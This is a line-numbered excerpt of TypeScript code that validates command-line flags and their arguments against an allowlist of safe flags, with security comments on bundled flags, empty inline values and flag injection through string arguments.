1813            for (let j = 1; j < flag.length; j++) {
1814              const singleFlag = '-' + flag[j]
1815              const flagType = config.safeFlags[singleFlag]
1816              if (!flagType) {
1817                return false // One of the combined flags is not safe
1818              }
1819              // SECURITY: Bundled flags must be no-arg type. An arg-taking flag
1820              // in a bundle consumes the NEXT token in GNU getopt, which our
1821              // handler doesn't model. Reject to avoid parser differential.
1822              if (flagType !== 'none') {
1823                return false // Arg-taking flag in a bundle — cannot safely validate
1824              }
1825            }
1826            i++
1827            continue
1828          } else {
1829            return false // Unknown flag
1830          }
1831        }
1832  
1833        // Validate flag arguments
1834        if (flagArgType === 'none') {
1835          // SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it,
1836          // `-FLAG=` with 'none' type would pass (inlineValue='' is falsy).
1837          if (hasEquals) {
1838            return false // Flag should not have a value
1839          }
1840          i++
1841        } else {
1842          let argValue: string
1843          // SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must
1844          // NOT consume next token — the user explicitly provided empty value.
1845          if (hasEquals) {
1846            argValue = inlineValue
1847            i++
1848          } else {
1849            // Check if next token is the argument
1850            if (
1851              i + 1 >= tokens.length ||
1852              (tokens[i + 1] &&
1853                tokens[i + 1]!.startsWith('-') &&
1854                tokens[i + 1]!.length > 1 &&
1855                FLAG_PATTERN.test(tokens[i + 1]!))
1856            ) {
1857              return false // Missing required argument
1858            }
1859            argValue = tokens[i + 1] || ''
1860            i += 2
1861          }
1862  
1863          // Defense-in-depth: For string arguments, reject values that start with '-'
1864          // This prevents type confusion attacks where a flag marked as 'string'
1865          // but actually takes no arguments could be used to inject dangerous flags
1866          // Exception: git's --sort flag can have values starting with '-' for reverse sorting
1867          if (flagArgType === 'string' && argValue.startsWith('-')) {
1868            // Special case: git's --sort flag allows - prefix for reverse sorting
1869            if (
1870              flag === '--sort' &&
1871              options?.commandName === 'git' &&
1872              argValue.match(/^-[a-zA-Z]/)
1873            ) {
1874              // This looks like a reverse sort (e.g., -refname, -version:refname)
1875              // Allow it if the rest looks like a valid sort key
1876            } else {
1877              return false
1878            }
1879          }
1880  
1881          // Validate argument based on type
1882          if (!validateFlagArgument(argValue, flagArgType)) {
1883            return false
1884          }
1885        }
1886      } else {
1887        // Non-flag argument (like revision specs, file paths, etc.) - this is allowed
1888        i++
1889      }
1890    }
1891  
1892    return true
1893  }